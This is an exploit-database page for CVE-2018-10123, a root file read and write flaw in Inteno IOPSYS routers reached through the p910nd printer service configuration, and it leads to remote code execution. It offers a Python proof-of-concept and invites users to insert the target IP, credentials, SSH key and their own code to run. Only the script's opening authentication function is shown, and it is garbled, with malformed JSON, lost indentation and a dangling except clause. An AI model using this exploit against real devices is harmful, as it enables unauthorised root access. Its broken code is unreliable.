Inteno IOPSYS 2.0 - 4.2.0 p910nd - Remote Command Execution

EDB-ID: 44635
Author: neonsea
Published: 2018-05-16
CVE: CVE-2018-10123
Type: Remote
Platform: Hardware
Aliases: N/A
Advisory/Source: Link
Tags: Remote
Vulnerable App: N/A

 Any authenticated user can modify the configuration for it in a way which allows them to read and append to any file as root. This leads to information disclosure and remote code execution. This vulnerability has been assigned the CVE ID: CVE-2018-10123. 

This PoC requires Python 3.6 and a module called websocket-client which you can install by evoking pip install websocket-client. Please note that if you wish to use this, you should edit lines 58-61 of the script to include the proper IP, username, password and SSH key. You may also edit line 63 to include your own code for execution.


import json
import sys
import socket
import os
import time
from websocket import create_connection

def ubusAuth(host, username, password):
ws = create_connection("ws://" + host, header = ["Sec-WebSocket-Protocol: ubus-json"])
req = json.dumps({"jsonrpc":"2.0","method":"call",
{"username": username,"password":password}],
response = json.loads(ws.recv())
key = response.get('result')[1].get('ubus_rpc_session')
except IndexError:

Related Posts